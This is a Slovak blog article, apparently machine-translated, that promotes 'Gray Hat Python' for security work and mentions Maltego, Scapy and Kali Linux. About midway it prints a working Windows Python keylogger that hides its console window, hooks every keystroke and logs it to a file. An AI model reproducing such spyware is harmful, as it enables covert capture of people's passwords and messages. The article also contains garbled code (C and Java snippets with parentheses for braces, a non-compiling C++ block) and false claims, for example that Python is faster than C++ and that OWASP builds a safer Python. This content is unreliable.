Gray Hat Python - Pred dvoma rokmi som robil výskum v programovacích jazykoch, začal som čítať o jazykoch C, C ++, Assembly, Python a Ruby. Chcel som sa stať expertom na kybernetickú bezpečnosť. Začal som sa učiť čo najviac. Začal som základy C, C ++ a C # a po učení a zostavení mnohých programov a vírusov som sa konečne začal učiť Kali Linux. Pre tých, ktorí nevedia, čo je Kali Linux, je to operačný systém na testovanie penetrácie. Takže som pokračoval vo svojich štúdiách a videl som, že väčšina programov, vírusov a trójskych koní bola zostavená v Pythone a ich základňou bola Ruby.

Takže som dočasne prestal študovať a začal som sa učiť Python alebo presnejšie Gray Hat Python a tadaa … Bolo to veľmi ľahké v porovnaní s C, C # alebo akýmkoľvek iným jazykom, ktorý som sa naučil. Nakoniec som zistil, prečo je Python najpoužívanejším jazykom a ako sa stal slávnym.
Dnes by som teda diskutoval o tom, ako sa Python transformoval na Python Gray Hat a prečo sa tak často používa, že ho aj Google a YouTube používajú vo svojej databáze, aby poskytovali čo najpresnejšie výsledky vyhľadávania.

Na začiatku je Python programovací jazyk na vysokej úrovni, čo znamená, že jeho syntaxe sú veľmi ľahko čitateľné aj pre začiatočníkov. Ak ste v programovaní nováčikom, navrhol by som, aby ste začínali týmto jazykom. Dovoľte mi uviesť príklad:

Takto to vyzerá v C: -

#include

int main()
(
printf("Hello world\n");
return 0;
)

Takto to vyzerá v Java: -

class HelloWorld
(
public static void main (String args())
(
System.out.println ("Hello World");
)
)


A takto to vyzerá v Pythone (v2.7)

print "Hello World"

Simple? Áno, je. Takže Python bol nielen ľahko písateľný a zrozumiteľný, ale aj veľmi kompaktný. Možno sa čudujete, ako to viedlo k Gray Hat Python?

Odporúčané kurzy

  • IP Routing Training
  • Výcvikový kurz hackingu
  • Kompletné školenie RMAN
  • Tréning programovania v Pythone

Python vs Gray Hat Python

Čo presne je Gray Hat Python? Prečo sa líši od nášho bežného Pythonu? Ide o to, že sivý klobúk Python nie je nič iné ako programy napísané v Pythone hackermi, testermi sieťového stresu a reverznými inžiniermi na vytvorenie alebo crack programu. Pojem šedý klobúk sa však používa, pretože to nie je presne prospešný alebo užívateľský softvér. Používa sa na zabezpečenie alebo na vytvorenie bezpečnostného softvéru.

Môže sa ľahko použiť na testovanie obmedzení bezpečného prostredia alebo na prienik do bezpečného prostredia. To znamená Gray Hat. A je to oveľa ľahšie robiť to v Pythone ako robiť v C, C ++ alebo java. Takto sa volá Gray Hat Python. Málo príkladov je:

• Písanie zapisovačov kľúčov (pre hackerov a podvodníkov)
• Písanie skriptov bezpečnostného prostredia (pre správcov siete)
• Písanie automatizovaného IDS (systém detekcie narušenia bezpečnosti pre bezpečnostných inžinierov)

Takže teraz viete, prečo a ako je Gray Hat Python užitočný. Aby som to spresnil, dovoľte mi uviesť niekoľko podrobných príkladov.
Možno ste už počuli o službe Google App Engine. Aplikácia Google App Engine bola pôvodne navrhnutá v Pythone pred jej portovaním. Google App je vhodným príkladom programu napísaného v Pythone, pretože umožňuje vytváranie webových aplikácií pomocou špičkovej bohatej zbierky knižníc, nástrojov a rámca.

Zaujímalo vás niekedy, prečo je také ľahké v službe Google niečo vyhľadať? Väčšinu času získate výsledky vyhľadávania, ktoré sú 80% presné. Dôvodom je skutočnosť, že Python je mimoriadne flexibilný, pracuje vysokou rýchlosťou a databázy sú omnoho kompaktnejšie, aj keď ukladajú 'n' množstvo informácií. Python je tak rozšíriteľný, že ho dokonca aj YouTube používa na účely, ako je sledovanie videa, kontrola šablón, správa videa, prístup k kanonickým údajom a mnoho ďalších.

Google má svoje prehľadávače a pavúky, ktoré zhromažďujú údaje ihneď po ich nahraní na web bez ohľadu na to, kde a ako sú bezpečné. Na to, aby bolo možné tieto informácie získať, potrebuje človek iba inšpiráciu, čas a znalosti.

Vyhľadávania Google boli predtým založené na Pythone, ktorý sa neskôr zmenil na C ++ kvôli optimalizácii rýchlosti, pretože prehľadávače Google indexovo prehľadávajú veľa stránok za sekundu a každá z nich trvá niekoľko minút, kým sa úspešne indexovo prehľadá. V súčasnosti je Python omnoho rýchlejší ako C ++, ale pred pár desaťročiami to tak nebolo.

Spoločnosť Google citovala slávnu ponuku: -
"Python, kde môžeme, C ++, kde musíme."

Možno sa teda pýtate, ako sa to dá použiť na hacking, pentesting a sieťovú bezpečnosť. Dovoľujem si nesúhlasiť. Ak by ste mohli vytvoriť program s presnosťou 70% - 80% na poskytovanie efektívnych výsledkov vyhľadávania, pravdepodobne by ste si mohli vytvoriť aplikáciu, ktorá dokáže prepojiť webové stránky, inteligentne vyhľadávať a vytvoriť profil osoby, ktorú môžu jednotlivé čierne klobúky radšej používať. na škodlivé účely. Nechajte jednotlivcov stranou, ak je dosť inteligentný, môžete ľahko vytvoriť aplikáciu na vytvorenie profilu spoločnosti, celého stromu od jeho koreňa po čokoľvek, na čo si môžete myslieť …

Zhromažďovanie informácií cez Maltego

Možno si myslíte, že sa trochu preháňam. Nie, nie som!

Pomyslite na príklady ako Maltego. Maltego je softvér alebo ho môžem lepšie preformulovať ako forenznú aplikáciu s otvoreným zdrojovým kódom, vytvorenú na účely zhromažďovania informácií a budovania profilu ľudí, spoločností a iných podnikových agentúr.

Stačí len zadať správne údaje do aplikácie a ostatné veci ako prepojenie e-mailov, ľudí, skupín ľudí, dokonca aj určenie internetovej infraštruktúry, ako sú domény, názvy DNS, netbloky a adresy IP, sa dajú prepojiť a vzájomne prepojiť pomocou tejto otvorenej inteligencie zdrojov.,

Viac informácií nájdete, čo je Maltego?

Ak teda prístup k „tajným informáciám“ určuje váš úspech, Maltego vám môže pomôcť ich objaviť. Maltego je čiastočne napísané v jazyku Python a používa tiež Javu, čo je opäť skvelý jazyk.

Toľko citácie o bezpečnosti od spoločnosti Google. Aby sme boli presnejší, Google je najmenší spôsob, ako si môžete udržať anonymitu na webe, bez ohľadu na to, či používate anonymné alebo www.duckduckgo.com z prehliadača Chrome. Pretože na webe sa nakoniec všetko aktualizuje. Ide o to, že nejde o nezraniteľnosť, ale o to, že je absolútne zraniteľný. Nedá sa úplne úplne vymazať z internetu. Určite sa však môžete pokúsiť udržať na webe čo najmenej informácií.

Python nie je len jazyk, je to skriptovací jazyk. Skriptovacie jazyky vám umožňujú písať, upravovať svoje vlastné nástroje, keď potrebujete niečo viac prispôsobené. Tieto nástroje zabezpečenia siete sú kvôli rozšíriteľnosti vo veľkej miere závislé od skriptovacieho jazyka. Napríklad vezmime Scapy.

Scapy je čisto napísaný v Pythone. Je to silný interaktívny nástroj na manipuláciu s paketmi. Môže vytvárať falošné pakety sama o sebe, skenovať siete a dokonca môže čuchať pakety v sieti.

Nájdete podrobné informácie o tom, čo je Scapy?

Teraz sú to zložité programy napísané pokročilými programátormi. Pozrime sa, aké jednoduché je napísať program v Pythone, ktorému môžu ľahko porozumieť ľudia, ktorí majú dobré základy programovania.

Toto je keylogger napísaný v Pythone: -

#!/usr/bin/Python
import pyHook
import Pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console. GetConsoleWindow() #go to script window
win32gui.ShowWindow (window, 0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a") # (open log_file in append mode)
char = chr (event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)

proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
Pythoncom.PumpMessages() #get input

Takže, ak sa ma pýtate, je to oveľa jednoduchšie. Jednoducho som pridal moduly pyhook, Pythoncom, win32gui a win32console, ktoré si môžete ľahko stiahnuť z webovej stránky sourceforge a komentáre som spomenul pomocou značky hash. Ale ak musím napísať rovnaký program v C ++, pozrime sa, aké ťažké to môže byť.

Toto je program napísaný v jazyku C ++: -

 #include #include #include #include int main(int argc, char ** agrv)( using namepace std; /*Easier*/ char std::vector input_STRUCT = ("S", "T", "O"); char std::vector input_STRUCT_1 = ("P", ""); char std::vector input_STRUCT_2 = ("L", "O", "O", "K", "I", "N", "G"); char std::vector input_STRUCT_3 = ("", "F", "O", "R"); char std::vector input_STRUCT_4 = ("M", "A", "L", "W"); char std::vector input_STRUCT_5 = ("A", "R", "E"); ostream os("C:\users\keylogger.txt"); int i; for( i = 0; i <=2; i++)( os << input_STRUCT(i); for(;i <= 1000000 ;i++)( ) ) for( i=0; i<=1;i++)( os << input_STRING_1(i); for(;i <= 1000000 ;i++)( ) ) for(i=0; i<=6; i++) ( os << input_STRING_2 (i); for(; i <= 1000000 ; i++)( ) for(i=0; i<=3;i++)( os << input_STRING_3(i); for(; i <= 1000000 ;i++)( ) ) for(i=0; i<=3; i++)( os << input_STRING_4(i); for(;i <= 1000000 ; i++)( ) ) for(i=0; i<=2; i++)( os << input_STRING_5(i); for(;i <= 1000000 ; i++)( ) ) os.close(); istream is (" C:\users\keylogger.txt "); cout << is; return 0; ) 

V porovnaní s Pythonom je to dosť veľké. A ak hovoríme o účinnosti, potom je možné Python ľahko zostaviť do spustiteľného súboru pomocou softvéru py2exe. Zatiaľ čo keď hovorím o C ++, úprimne povedané, tento kód je vtip. Ak chcete napísať správny záznamník kľúčov, musíte napísať DLL, ktorá implementuje WH_KEYBOARD hák. Okrem toho tento kód ani zďaleka nie je pre začiatočníka ľahko pochopiteľný.

Open Source Hacking

Teraz sa starajú o hackerov Black Hat, ktorých presnejšie povedané sú ľudia, ktorí majú v úmysle zničiť, manipulujú s údajmi pre svoje vlastné potreby. Pokiaľ ide o bezpečnostné hľadisko, Python je užitočný aj pre hackerov White Hat, ktorí majú v úmysle zachrániť spoločnosť pred útokom škodlivých hackerov. Ak sa chcete rozvíjať kariéru alebo sa aspoň chcete učiť Python pre bezpečnostný výskum, určite sa do hĺbky zapojte pomocou OWASP, BRO alebo Quick NIX Secure Script.

OWASP je projekt zabezpečenia otvorených webových aplikácií. Cieľom OWASP je vytvoriť bezpečnejšiu verziu Pythonu, ktorá uľahčuje odborníkom v oblasti bezpečnosti a vývojárom písať softvér, ktorý je menej náchylný na útok hackerov. Súvisí to s analýzou Black-Box, identifikáciou a riešením bezpečnostných problémov, ktoré môžu ovplyvniť interaktívneho tlmočníka Pythonu.

BRO je program na monitorovanie bezpečnosti siete a prevádzky, zatiaľ čo program Quick NIX sa používa na tvrdé a zabezpečené vlastníctvo súborov za behu.

Pretože hovoríme o bezpečnosti, hovorme o operačnom systéme, ktorý je čiastočne založený na Pythone. Python funguje výborne s operačnými systémami UNIX, LINUX a Debian. Jedným z najznámejších operačných systémov bol Backtrack 5. Vydali sa rôzne verzie. Bol špeciálne navrhnutý pre PenTesting. Neskôr si ľudia v ofenzívnom zabezpečení mysleli, že Backtrack potrebuje reštartovať počítač, pretože väčšina nástrojov buď nefunguje správne, alebo ich nepodporuje.

Neskôr vydali Kali Linux, ktorý bol úplne založený na Debiane. A väčšina jeho rámca je buď v Ruby alebo Pythone. Ruby je tiež úžasný skriptovací jazyk. Ale pred tým by som uprednostnil Python, pretože Python má rozmanitejšiu komunitu s Linuxom a jeho priamejšie a ľahšie laditeľné programy. Zatiaľ čo Ruby má veľa funkcií a rýchlo sa prispôsobuje okolitému prostrediu, môže byť ťažké ho ladiť, ťažko čítať a sofistikovanejšie ako Python.

Najlepším príkladom by bolo porovnávanie Apple vs Linux alebo Porovnanie iphone vs Android. Apple je bohatý na zdroje a je extrémne plynulý a je skôr zaujatý smerom k začiatočníkom. Zatiaľ čo Linux / Android je užívateľsky prívetivejší, trochu pochmúrnejší a niekedy môže byť bolesť hlavy, ak neviete, ako ho nakonfigurovať alebo udržiavať.

Existuje dokonca kniha založená na Pythone Gray Hat Hackingovi od Justina Seitza. Zaoberá sa konkrétne automatizáciou zdĺhavých úloh reverzného inžinierstva a zabezpečenia, navrhovaním vlastného ladiaceho programu, vkladaním knižníc a DLL, zabezpečením zabezpečeného prenosu cez šifrovanú reláciu a použitím ladiaceho programu imunity, Sulleyho a mnohých ďalších. Je to úžasná kniha, nezáleží na tom, či ste začiatočník alebo ste odborník, vždy, keď si ju prečítate, sa vždy niečo naučíte.

záver

Takže, ak ste začiatočník, Python by bol tou pravou voľbou, aby ste mohli začať s prvým jazykom na testovanie zabezpečenia programovania.

Len si pamätajte jednu vec. Gray Hat Python nie je len jazyk, je to spôsob, ako robiť veci správne a rýchlo.

Zdroj prvého obrázka: pixabay.com

Súvisiace články: -

Tu je niekoľko článkov, ktoré vám pomôžu získať viac podrobností o službe Python Grey Hat, takže stačí prejsť na odkaz.

  1. Výhody nástrojov Cyber ​​security Musíte si byť vedomí
  2. Kariéra v Pythone
  3. 25 najúžasnejších otázok a odpovedí na rozhovor v Pythone
  4. Aké sú výhody a obmedzenia používania Pythonu?
  5. Python vs Node.js
  6. Sprievodca otázkami rozhovoru o kybernetickej bezpečnosti
  7. Rôzne typy nástrojov na testovanie bezpečnosti

Kategórie: